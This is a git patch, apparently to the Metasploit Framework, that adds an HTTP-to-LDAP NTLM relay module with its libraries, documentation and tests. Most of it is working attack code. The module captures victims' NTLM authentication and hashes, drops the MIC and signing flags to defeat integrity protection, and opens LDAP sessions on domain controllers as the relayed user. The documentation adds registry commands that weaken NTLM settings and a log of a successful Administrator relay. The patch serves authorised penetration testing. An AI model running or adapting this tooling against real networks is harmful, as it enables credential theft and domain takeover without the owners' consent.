From 4847d8844134cf255a7a71316ff7f7864d2c2831 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 2 Apr 2026 13:39:02 -0700 Subject: [PATCH 1/2] HTTP to LDAP Relay Module and Supporting Libraries Remove unnecessary code Remove commented out code Added documentation Responded to Spencer and Copilot Add anonymous identity check Doc update Warning surpression Renamed ldap_client to relayed_connection Comments --- .../auxiliary/server/relay/http_to_ldap.md | 108 +++++ .../core/exploit/remote/http_server/relay.rb | 109 +++++ .../http_server/relay/ntlm/server_client.rb | 374 ++++++++++++++++++ .../remote/relay/ntlm/target/ldap/client.rb | 12 +- .../auxiliary/server/relay/http_to_ldap.rb | 121 ++++++ .../core/exploit/remote/relay/http_spec.rb | 195 +++++++++ 6 files changed, 918 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/auxiliary/server/relay/http_to_ldap.md create mode 100644 lib/msf/core/exploit/remote/http_server/relay.rb create mode 100644 lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb create mode 100644 modules/auxiliary/server/relay/http_to_ldap.rb create mode 100644 spec/lib/msf/core/exploit/remote/relay/http_spec.rb diff --git a/documentation/modules/auxiliary/server/relay/http_to_ldap.md b/documentation/modules/auxiliary/server/relay/http_to_ldap.md new file mode 100644 index 0000000000..50dbb95943 --- /dev/null +++ b/documentation/modules/auxiliary/server/relay/http_to_ldap.md @@ -0,0 +1,108 @@ +## Vulnerable Application + +### Description + +This module sets up an HTTP server that attempts to execute an NTLM relay attack against an LDAP server on the +configured `RHOSTS`. The relay attack targets NTLMv1 authentication, as NTLMv2 cannot be relayed to LDAP due to the +Message Integrity Check (MIC). The module automatically removes the relevant flags to bypass signing. + +This module supports relaying one HTTP authentication attempt to multiple LDAP servers. After attempting to relay to +one target, the relay server sends a 307 to the client and if the client is configured to respond to redirects, the +client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not +respond to redirects. + +The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent +in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while +GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can +be prefixed with Negotiate. + +If the relay attack is successful, an LDAP session is created on the target. This session can be used by other modules +that support LDAP sessions, such as: + +- `admin/ldap/rbcd` +- `auxiliary/gather/ldap_query` + +The module also supports capturing NTLMv1 and NTLMv2 hashes. + +### Setup + +For this relay attack to be successful, it is important to understand the difference between the Target Server (the +Domain Controller receiving the relayed authentication) and the Victim Client (the machine sending the initial HTTP +request) and how their respective configurations can impact the success of the attack. + +The Domain Controller must be configured to accept LM or NTLM authentication. This means the `LmCompatibilityLevel` +registry key on the DC must be set to 4 or lower. If it is set to `5` ("Send NTLMv2 response only. Refuse +LM and NTLM"), the DC will reject the relayed authentication and the module will fail. + +You can verify or modify the Domain Controller's level using the following commands: +```cmd +# To check the current level: +reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel + +# To set the level to 4 (or lower): +reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x4 /f +``` + +The client being coerced must be willing to send the vulnerable NTLM responses. +- Non-Windows Clients: Custom tools or Linux-based HTTP clients are unaffected by Windows registry keys and can easily +be relayed to a vulnerable DC. +- Windows Clients: If you are coercing a native Windows HTTP client (like `Invoke-WebRequest` or a browser), the victim +machine's `LmCompatibilityLevel` dictates what it is allowed to send. To successfully relay a Windows client, its local +registry key typically needs to be set to `2` or lower. If the Windows client is operating at level `3` or higher, it +restricts itself to sending only NTLMv2 responses, which will cause the relay to fail even if the target DC is vulnerable. + +## Verification Steps + +1. Start msfconsole +2. Do: `use auxiliary/server/relay/http_to_ldap` +3. Set the `RHOSTS` options +4. Run the module +5. Send an authentication attempt to the relay server + 6. `Invoke-WebRequest -Uri http://192.0.2.1/test -UseDefaultCredentials` +7. Check the output for successful relays and captured hashes + +## Scenarios +### Relaying to multiple targets +``` +msf auxiliary(server/relay/http_to_ldap) > set rhosts 172.16.199.200 172.16.199.201 +rhosts => 172.16.199.200 172.16.199.201 +msf auxiliary(server/relay/http_to_ldap) > run +[*] Auxiliary module running as background job 2. + +[*] Relay Server started on 0.0.0.0:80 +[*] Server started. +msf auxiliary(server/relay/http_to_ldap) > [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 +[*] Processing request in state unauthenticated from 172.16.199.130 +[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 +[*] Processing request in state unauthenticated from 172.16.199.130 +[*] Received Type 1 message from 172.16.199.130, attempting to relay... +[*] Attempting to relay to ldap://172.16.199.201:389 +[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` +[*] Received type2 from target ldap://172.16.199.201:389, attempting to relay back to client +[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 +[*] Processing request in state awaiting_type3 from 172.16.199.130 +[*] Received Type 3 message from 172.16.199.130, attempting to relay... +[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` +[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP! +[+] Relay succeeded +[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /ZdF7Ufkm0I +[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 +[*] Processing request in state unauthenticated from 172.16.199.130 +[*] Received Type 1 message from 172.16.199.130, attempting to relay... +[*] Attempting to relay to ldap://172.16.199.200:389 +[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` +[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client +[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 +[*] Processing request in state awaiting_type3 from 172.16.199.130 +[*] Received Type 3 message from 172.16.199.130, attempting to relay... +[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` +[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP! +[+] Relay succeeded +[*] Target list exhausted for 172.16.199.130. Closing connection. +msf auxiliary(server/relay/http_to_ldap) > sessions -i -1 +[*] Starting interaction with 5... + +LDAP (172.16.199.200) > getuid +[*] Server username: KERBEROS\Administrator +LDAP (172.16.199.200) > +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/http_server/relay.rb b/lib/msf/core/exploit/remote/http_server/relay.rb new file mode 100644 index 0000000000..935dd97431 --- /dev/null +++ b/lib/msf/core/exploit/remote/http_server/relay.rb @@ -0,0 +1,109 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +module Msf + module Exploit::Remote::HttpServer + module Relay + + include ::Msf::Auxiliary::MultipleTargetHosts + include ::Msf::Exploit::Remote::Relay::NTLM::HashCapture + include Msf::Exploit::Remote::HttpServer + + attr_reader :logger + + def initialize(info = {}) + super + register_options( + [ + OptPort.new('SRVPORT', [true, 'The local port to listen on.', 80]), + OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]), + OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['LDAPHOST', 'RELAY_TARGETS']), + OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25]) + ], self.class + ) + @relay_clients = {} + @relay_clients_mutex = Mutex.new + end + + def start_service(opts = {}) + @logger = opts['Logger'] || self + + super + + @http_relay_service = self.service + + relay_path = '/' + add_resource( + 'Proc' => Proc.new { |cli, req| on_relay_request(cli, req) }, + 'Path' => relay_path + ) + end + + def on_relay_request(cli, req) + client_id = Rex::Socket.to_authority(cli.peerhost, cli.peerport) + cli.keepalive = true + relay_client = nil + print_status("Received #{req.method} request for #{req.uri} from #{client_id}") + + # When the 307 redirect is sent to the client, it reconnects on a different port. So the relay server has to keep + # track of the redirect URIs and associate them with the same client session. This allows the state machine to + # continue seamlessly even if the client is bouncing between ports. Tracking the client ports but not redirect + # URI's ends up in an infinite loop of 307 redirects because the client appears to be a new session on each + # request. Tracking the redirect URI's allows us to correlate the new connection with the existing session + # and avoid the redirect loop. + + @relay_clients_mutex.synchronize do + # Try to find the client by their exact TCP connection + if @relay_clients.key?(client_id) + relay_client = @relay_clients[client_id] + relay_client.cli = cli + else + previous_client_id = @relay_clients.keys.find { |k| @relay_clients[k].redirect_uri == req.uri && req.uri != '/' } + + if previous_client_id + # Seamlessly transfer the state machine from the old port to the new port + relay_client = @relay_clients.delete(previous_client_id) + relay_client.cli = cli + @relay_clients[client_id] = relay_client + else + # This is a truly new client session + relay_client = Msf::Exploit::Remote::HttpServer::Relay::NTLM::ServerClient.new( + cli, + relay_targets, + logger, + datastore['RELAY_TIMEOUT'] + ) + relay_client.redirect_uri = req.uri # Track their starting path + @relay_clients[client_id] = relay_client + end + end + end + + relay_client.process_request(req) + + @relay_clients_mutex.synchronize do + if relay_client.finished? && @relay_clients[client_id].equal?(relay_client) + @relay_clients.delete(client_id) + end + end + end + + def send_auth_challenge(cli) + res = Rex::Proto::Http::Response.new + res.code = 401 + res.message = "Unauthorized" + res.headers['WWW-Authenticate'] = "NTLM" + + cli.put(res.to_s) + end + + def cleanup + if @http_relay_service + @http_relay_service.remove_resource('/') + Rex::ServiceManager.stop_service(@http_relay_service) + end + super + end + end + end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb b/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb new file mode 100644 index 0000000000..b821dd3eb8 --- /dev/null +++ b/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb @@ -0,0 +1,374 @@ +# frozen_string_literal: true + +module Msf::Exploit::Remote::HttpServer::Relay::NTLM + class ServerClient + + attr_reader :logger + attr_accessor :cli, :state, :redirect_uri + + def initialize(cli, relay_targets, logger, timeout = 25) + @cli = cli + @state = :unauthenticated + @relay_targets = relay_targets + @logger = logger + @timeout = timeout + @relayed_connection = nil + @current_target = nil + + @ntlm_context = { + wrapper: :none, + type1: nil, + type2: nil + } + end + + def process_request(req) + logger.print_status("Processing request in state #{state} from #{cli.peerhost}") + auth_header = req.headers['Authorization'] + auth_type, b64_message = extract_ntlm_message(auth_header) + + parsed_ntlm = nil + raw_ntlm_bytes = nil + + if b64_message + begin + raw_ntlm_bytes = unwrap_ntlm_base64(b64_message) + parsed_ntlm = Net::NTLM::Message.parse(raw_ntlm_bytes) + rescue ::Exception => e + logger.print_error("Failed to parse incoming NTLM/SPNEGO message: #{e.message}") + abort_connection("Invalid NTLM payload.") + return + end + end + + case state + when :unauthenticated + if parsed_ntlm.nil? + send_401_challenge + elsif parsed_ntlm.is_a?(Net::NTLM::Message::Type1) + logger.print_status("Received Type 1 message from #{cli.peerhost}, attempting to relay...") + handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type) + else + abort_connection("Expected No Auth or Type 1, got something else.") + end + + when :awaiting_type3 + if parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type3) + logger.print_status("Received Type 3 message from #{cli.peerhost}, attempting to relay...") + handle_type3(parsed_ntlm) + + elsif parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type1) + logger.print_warning("Client restarted the handshake! Resetting state to handle new Type 1...") + @relayed_connection.disconnect! if @relayed_connection + @relayed_connection = nil + handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type) + + else + abort_connection("Expected Type 3, got something else.") + end + + when :done + # The relay is finished for this connection, ignore further requests + end + end + + def create_relay_client(target, timeout) + case target.protocol + when :ldap + client = Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client.create(self, target, logger, timeout) + else + raise RuntimeError, "unsupported protocol: #{target.protocol}" + end + + client + rescue ::Rex::ConnectionTimeout => e + msg = "Timeout error retrieving server challenge from target #{target}. Most likely caused by unresponsive target" + elog(msg, error: e) + logger.print_error msg + nil + rescue ::Exception => e + msg = "Unable to create relay to #{target}" + elog(msg, error: e) + logger.print_error msg + nil + end + + def finished? + state == :done || state == :aborted + end + + + def send_401_challenge + res = Rex::Proto::Http::Response.new + res.code = 401 + res.message = "Unauthorized" + res.headers['WWW-Authenticate'] = "NTLM, Negotiate" + res.headers['Connection'] = "Keep-Alive" + res.headers['Content-Length'] = "0" + res.body = "" + + cli.put(res.to_s) + end + + def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type) + @ntlm_context[:type1] = raw_ntlm_bytes + @current_target ||= @relay_targets.next(cli.peerhost) + + if @current_target.nil? + logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.") + res = Rex::Proto::Http::Response.new + res.code = 404 + res.message = "Not Found" + res.headers['Connection'] = "Close" + res.headers['Content-Length'] = "0" + cli.send_response(res) + @state = :done + return + end + + begin + logger.print_status("Attempting to relay to #{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}") + @relayed_connection = create_relay_client(@current_target, @timeout) + + if @relayed_connection.nil? + logger.print_error("Connection to #{@current_target.ip} failed: unable to create relay client") + advance_to_next_target_via_redirect + return + end + + if @current_target.drop_mic_and_sign_key_exch_flags + incoming_security_buffer = do_drop_mic_and_flags(parsed_ntlm) + elsif @current_target.drop_mic_only + incoming_security_buffer = do_drop_mic(parsed_ntlm) + else + incoming_security_buffer = parsed_ntlm.serialize + end + + relay_result = @relayed_connection.relay_ntlmssp_type1(incoming_security_buffer) + + if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED + type2_msg = relay_result.message + @ntlm_context[:type2] = type2_msg + + if @ntlm_context[:wrapper] == :gss_spnego + wrapped_type2 = RubySMB::Gss.gss_type2(type2_msg.serialize) + target_type2_msg = Rex::Text.encode_base64(wrapped_type2) + auth_header = "#{auth_type} #{target_type2_msg}" + else + target_type2_msg = Rex::Text.encode_base64(type2_msg.serialize) + auth_header = "#{auth_type} #{target_type2_msg}" + end + logger.print_status("Received type2 from target #{@current_target.protocol}://#{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}, attempting to relay back to client") + res = Rex::Proto::Http::Response.new + res.code = 401 + res.message = "Unauthorized" + res.headers['WWW-Authenticate'] = auth_header + res.headers['Connection'] = "Keep-Alive" + res.headers['Content-Length'] = "0" + + cli.send_response(res) + @state = :awaiting_type3 + return + else + logger.print_error("Target #{@current_target.ip} rejected the Type 1 message.") + end + + rescue ::Exception => e + logger.print_error("Connection to #{@current_target.ip} failed: #{e.message}") + end + + advance_to_next_target_via_redirect + end + + def complete_current_relay_attempt(is_success:, identity: nil) + return unless @current_target + + @relay_targets.on_relay_end(@current_target, identity: identity, is_success: is_success) + end + + def handle_type3(parsed_type3) + relay_succeeded = false + relay_completed = false + + # 1. Safely extract the identity from the Type 3 message early + identity = nil + if parsed_type3 + domain = parsed_type3.domain.to_s.force_encoding('UTF-8') + user = parsed_type3.user.to_s.force_encoding('UTF-8') + identity = "#{domain}\\#{user}" unless user.empty? + end + + if @current_target.drop_mic_and_sign_key_exch_flags + incoming_security_buffer = do_drop_mic_and_flags(parsed_type3) + elsif @current_target.drop_mic_only + incoming_security_buffer = do_drop_mic(parsed_type3) + else + incoming_security_buffer = parsed_type3.serialize + end + + relay_result = @relayed_connection.relay_ntlmssp_type3(incoming_security_buffer) + + if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS + relay_succeeded = true + + logger.on_ntlm_type3( + address: @relayed_connection.target.ip, + ntlm_type1: @ntlm_context[:type1], + ntlm_type2: @ntlm_context[:type2], + ntlm_type3: parsed_type3, + service_name: 'HTTP' + ) + + if identity.blank? + logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@relayed_connection.target.ip}") + @relayed_connection.disconnect! if @relayed_connection + else + logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to LDAP!") + logger.on_relay_success(relay_connection: @relayed_connection, relay_identity: identity) + end + + @relayed_connection = nil + else + logger.print_error("Relayed authentication failed or was rejected by LDAP.") + @relayed_connection.disconnect! if @relayed_connection + @relayed_connection = nil + end + + complete_current_relay_attempt(is_success: relay_succeeded, identity: identity) + relay_completed = true + + @state = :done + + advance_to_next_target_via_redirect + rescue StandardError => e + logger.print_error("Relaying type 3 message to target #{@current_target.ip} failed: #{e.message}") + complete_current_relay_attempt(is_success: false, identity: identity) unless relay_completed + end + + def advance_to_next_target_via_redirect + @current_target = @relay_targets.next(@cli.peerhost) + + if @current_target + random_path = "/" + Rex::Text.rand_text_alphanumeric(10) + + @redirect_uri = random_path + @logger.print_status("Moving to next target (#{@current_target.ip}). Issuing 307 Redirect to #{random_path}") + + res = Rex::Proto::Http::Response.new + res.code = 307 + res.message = "Temporary Redirect" + res.headers['Location'] = random_path + + res.headers['Connection'] = "keep-alive" + res.headers['Content-Length'] = "0" + + cli.send_response(res) + + @state = :unauthenticated + @ntlm_context[:type1] = nil + @ntlm_context[:type2] = nil + else + @logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.") + res = Rex::Proto::Http::Response.new + res.code = 404 + res.message = "Not Found" + res.headers['Connection'] = "close" + res.headers['Content-Length'] = "0" + + cli.send_response(res) + @state = :done + end + end + def abort_connection(reason) + logger.print_error("Aborting connection with #{cli.peerhost}: #{reason}") + + res = Rex::Proto::Http::Response.new + res.code = 400 + res.message = "Bad Request" + res.headers['Connection'] = "Close" + res.headers['Content-Length'] = "0" + res.body = "" + cli.put(res.to_s) + @state = :aborted + end + + def unwrap_ntlm_base64(b64_msg) + buf = Rex::Text.decode_base64(b64_msg) + + if valid_ntlm_blob?(buf) + @ntlm_context[:wrapper] = :none + return buf + end + + gss_api = OpenSSL::ASN1.decode(buf) + if gss_api&.tag == 0 && gss_api&.tag_class == :APPLICATION + logger.print_status("Detected GSS-SPNEGO wrapping around the type1 NTLM message") + @ntlm_context[:wrapper] = :gss_spnego + return process_gss_spnego_init(buf) + elsif gss_api&.tag == 1 && gss_api&.tag_class == :CONTEXT_SPECIFIC + logger.print_status("Detected GSS-SPNEGO wrapping around the type3 NTLM message") + @ntlm_context[:wrapper] = :gss_spnego + return process_gss_spnego_targ(buf) + end + + raise ArgumentError, "Unrecognized NTLM or SPNEGO payload" + end + + def extract_ntlm_message(auth_header) + return nil unless auth_header + + # Match either "NTLM " or "Negotiate " (case insensitive) + if auth_header =~ /^(NTLM|Negotiate)\s+(.+)$/i + return $1, $2 # Return The auth type and the base64 message + end + + nil + end + + private + + def valid_ntlm_blob?(blob) + blob&.start_with?("NTLMSSP\x00") + end + + def validate_ntlm_blob!(blob) + raise ArgumentError, 'The NTLM blob found was malformed' unless valid_ntlm_blob?(blob) + end + + def process_gss_spnego_init(incoming_security_buffer) + begin + gss_init = Rex::Proto::Gss::SpnegoNegTokenInit.parse(incoming_security_buffer) + ntlm_blob = gss_init.mech_token + validate_ntlm_blob!(ntlm_blob) + ntlm_blob + rescue RASN1::ASN1Error => e + raise ArgumentError, "Failed to parse NTLMSSP Type1 from GSS: #{e.message}" + end + end + + def process_gss_spnego_targ(incoming_security_buffer) + begin + gss_targ = Rex::Proto::Gss::SpnegoNegTokenTarg.parse(incoming_security_buffer) + ntlm_blob = gss_targ.response_token + validate_ntlm_blob!(ntlm_blob) + ntlm_blob + rescue RASN1::ASN1Error, ArgumentError => e + raise ArgumentError, "Failed to parse NTLMSSP Type3 from GSS: #{e.message}" + end + end + + def do_drop_mic(ntlm_message) + logger.print_status('Dropping MIC') + ntlm_message.serialize + end + + def do_drop_mic_and_flags(ntlm_message) + logger.print_status('Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`') + flags = ntlm_message.flag + flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE] + + ntlm_message.flag = flags + ntlm_message.serialize + end + end +end diff --git a/lib/msf/core/exploit/remote/relay/ntlm/target/ldap/client.rb b/lib/msf/core/exploit/remote/relay/ntlm/target/ldap/client.rb index eb28f7671b..d4ea8ef35e 100644 --- a/lib/msf/core/exploit/remote/relay/ntlm/target/ldap/client.rb +++ b/lib/msf/core/exploit/remote/relay/ntlm/target/ldap/client.rb @@ -55,11 +55,21 @@ module Msf::Exploit::Remote::Relay::NTLM::Target::LDAP ) end + # Determines whether the relay connection originated from an HTTP server. + # + # @return [Boolean] true if the provider's class name contains 'httpserver', false otherwise. + def is_http_source? + @provider && @provider.class.name.to_s.downcase.include?('httpserver') + end + # @param [String] client_type3_msg # @rtype [Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult, nil] def relay_ntlmssp_type3(client_type3_msg) ntlm_message = Net::NTLM::Message.parse(client_type3_msg) - if ntlm_message.ntlm_version == :ntlmv2 + + # Suppress the warning for HTTP sources because they can safely relay NTLMv2 type 3 messages. During testing + # non-Windows HTTP clients that sent NTLMv2 type 3 messages were able to be relayed to LDAP without issue. + if ntlm_message.ntlm_version == :ntlmv2 && !is_http_source? logger.print_warning('Relay client\'s NTLM type 3 message is NTLMv2, relaying to LDAP will not work') end diff --git a/modules/auxiliary/server/relay/http_to_ldap.rb b/modules/auxiliary/server/relay/http_to_ldap.rb new file mode 100644 index 0000000000..29f95528d3 --- /dev/null +++ b/modules/auxiliary/server/relay/http_to_ldap.rb @@ -0,0 +1,121 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'openssl' +require 'rex/proto/gss' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpServer::Relay + include Msf::Auxiliary::CommandShell + + attr_accessor :service + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Microsoft Windows HTTP to LDAP Relay', + 'Description' => %q{ + This module supports running an HTTP server which validates credentials, and + then attempts to execute a relay attack against an LDAP server on the + configured RHOSTS hosts. + + It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check + (MIC). As a result, this will only work with NTLMv1. The module takes care of + removing the relevant flags to bypass signing. + + If the relay succeeds, an LDAP session to the target will be created. This can + be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or + `auxiliary/gather/ldap_query`. + + Supports LDAP and captures NTLMv1 as well as NTLMv2 hashes. + }, + 'Author' => [ + 'jheysel-r7' # module and http_relay server + ], + 'License' => MSF_LICENSE, + 'DefaultTarget' => 0, + 'Actions' => [ + [ 'CREATE_LDAP_SESSION', { 'Description' => 'Create an LDAP session' } ] + ], + 'PassiveActions' => [ 'CREATE_LDAP_SESSION' ], + 'DefaultAction' => 'CREATE_LDAP_SESSION', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ] + } + ) + ) + + register_options( + [ + Opt::RPORT(389) + ] + ) + + register_advanced_options( + [ + OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]), + OptInt.new('SessionKeepalive', [true, 'Time (in seconds) for sending protocol-level keepalive messages', 10 * 60]) + ] + ) + end + + def srvport + datastore['SRVPORT'] + end + + def relay_targets + Msf::Exploit::Remote::Relay::TargetList.new( + :ldap, + datastore['RPORT'], + datastore['RHOSTS'], + datastore['TARGETURI'], + randomize_targets: datastore['RANDOMIZE_TARGETS'], + drop_mic_only: false, + drop_mic_and_sign_key_exch_flags: true + ) + end + + def check_options + unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE) + fail_with(Failure::BadConfig, 'This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`') + end + end + + def run + check_options + + start_service + print_status('Server started.') + @http_relay_service.wait if @http_relay_service + end + + def on_relay_success(relay_connection:, relay_identity:) + print_good('Relay succeeded') + session_setup(relay_connection, relay_identity) + rescue StandardError => e + elog('Failed to setup the session', error: e) + end + + def session_setup(relay_connection, relay_identity) + client = relay_connection.create_ldap_client + ldap_session = Msf::Sessions::LDAP.new( + relay_connection.socket, + { + client: client, + keepalive_seconds: datastore['SessionKeepalive'] + } + ) + domain, _, username = relay_identity.partition('\\') + datastore_options = { + 'DOMAIN' => domain, + 'USERNAME' => username + } + start_session(self, nil, datastore_options, false, ldap_session.rstream, ldap_session) + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/http_spec.rb b/spec/lib/msf/core/exploit/remote/relay/http_spec.rb new file mode 100644 index 0000000000..abbd2218f9 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/http_spec.rb @@ -0,0 +1,195 @@ +require 'spec_helper' +require 'msf/core/exploit/remote/http_server/relay' +require 'net/ntlm' +require 'windows_error' +require 'base64' + +RSpec.describe Msf::Exploit::Remote::HttpServer::Relay do + let(:client_ip) { '172.16.199.159' } + + def create_request(auth_header = nil) + req = Rex::Proto::Http::Request.new + req.method = 'GET' + req.headers['Authorization'] = auth_header if auth_header + req + end + + let(:mock_cli) do + cli = double('Rex::Proto::Http::ServerClient') + allow(cli).to receive(:peerhost).and_return(client_ip) + allow(cli).to receive(:keepalive=) + allow(cli).to receive(:put) + allow(cli).to receive(:send_response) + cli + end + + let(:mock_target) do + double('Target', + protocol: :ldap, + ip: '172.16.199.200', + port: 389, + drop_mic_and_sign_key_exch_flags: false, + drop_mic_only: false + ) + end + + let(:target_list) do + list = double('Msf::Exploit::Remote::Relay::TargetList') + allow(list).to receive(:next).and_return(mock_target) + allow(list).to receive(:on_relay_end) + list + end + + let(:type2_msg) { double('Type2', serialize: 'TYPE2_BYTES') } + let(:type1_relay_result) { double('RelayResult', nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED, message: type2_msg) } + let(:type3_success_result) { double('RelayResult', nt_status: WindowsError::NTStatus::STATUS_SUCCESS) } + let(:type3_fail_result) { double('RelayResult', nt_status: WindowsError::NTStatus::STATUS_LOGON_FAILURE) } + + let(:mock_ldap_client) do + client = double('LDAPClient', target: mock_target) + allow(client).to receive(:relay_ntlmssp_type1).and_return(type1_relay_result) + allow(client).to receive(:relay_ntlmssp_type3).and_return(type3_success_result) + allow(client).to receive(:disconnect!) + client + end + + let(:relay_class) do + Class.new(Msf::Auxiliary) do + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpServer::Relay + + def initialize(info = {}) + super + end + + def relay_targets; end + def on_relay_success(relay_connection:, relay_identity:); end + def on_ntlm_type3(args); end + + def print_status(msg); end + def print_error(msg); end + def print_good(msg); end + def print_warning(msg); end + def vprint_status(msg); end + def vprint_error(msg); end + def elog(msg, error: nil); end + end + end + + subject(:relay_server) do + mod = relay_class.new + mod.instance_variable_set(:@logger, mod) + allow(mod).to receive(:relay_targets).and_return(target_list) + mod + end + + let(:type1_bytes) { "NTLMSSP\x00TYPE1" } + let(:type3_bytes) { "NTLMSSP\x00TYPE3" } + + let(:type1_b64) { Base64.strict_encode64(type1_bytes) } + let(:type3_b64) { Base64.strict_encode64(type3_bytes) } + + let(:type1_msg) do + msg = Net::NTLM::Message::Type1.new + allow(msg).to receive(:serialize).and_return(type1_bytes) + msg + end + + let(:type3_msg) do + msg = Net::NTLM::Message::Type3.new + allow(msg).to receive(:serialize).and_return(type3_bytes) + allow(msg).to receive(:domain).and_return('DOMAIN') + allow(msg).to receive(:user).and_return('USER') + msg + end + + before(:each) do + allow(Net::NTLM::Message).to receive(:parse).with(type1_bytes).and_return(type1_msg) + allow(Net::NTLM::Message).to receive(:parse).with(type3_bytes).and_return(type3_msg) + allow(Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client).to receive(:create).and_return(mock_ldap_client) + end + + def get_client_state(server) + clients = server.instance_variable_get(:@relay_clients) || {} + clients[client_ip] + end + + describe 'State Transitions' do + context 'when receiving an initial unauthenticated request' do + it 'responds with a 401 and tracks state as unauthenticated' do + expect(mock_cli).to receive(:put).with(/401 Unauthorized/) + + relay_server.on_relay_request(mock_cli, create_request) + + client = get_client_state(relay_server) + expect(client).not_to be_nil + expect(client.state).to eq(:unauthenticated) + end + end + + context 'when receiving a Type 1 message' do + let(:req1) { create_request("NTLM #{type1_b64}") } + + it 'relays to LDAP, sends Type 2 challenge, and transitions state to awaiting_type3' do + expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 401 }) + + relay_server.on_relay_request(mock_cli, req1) + + client = get_client_state(relay_server) + expect(client).not_to be_nil + expect(client.state).to eq(:awaiting_type3) + end + end + end + + describe 'Target Iteration and Exhaustion' do + let(:req1) { create_request("NTLM #{type1_b64}") } + let(:req3) { create_request("NTLM #{type3_b64}") } + + before(:each) do + relay_server.on_relay_request(mock_cli, req1) + end + + context 'when LDAP authentication succeeds' do + it 'calls on_relay_success and redirects to the next target' do + expect(relay_server).to receive(:on_relay_success) + expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 307 }) + + relay_server.on_relay_request(mock_cli, req3) + + client = get_client_state(relay_server) + expect(client.state).to eq(:unauthenticated) + end + end + + context 'when LDAP authentication fails' do + before(:each) do + allow(mock_ldap_client).to receive(:relay_ntlmssp_type3).and_return(type3_fail_result) + end + + it 'redirects to the next target and resets state to unauthenticated' do + expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 307 }) + + relay_server.on_relay_request(mock_cli, req3) + + client = get_client_state(relay_server) + expect(client.state).to eq(:unauthenticated) + end + end + + context 'when the target list is completely exhausted' do + before(:each) do + allow(target_list).to receive(:next).and_return(nil) + end + + it 'sends a 404 and garbage collects the client state entirely' do + expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 404 }) + + relay_server.on_relay_request(mock_cli, req3) + + client = get_client_state(relay_server) + expect(client).to be_nil + end + end + end +end \ No newline at end of file From 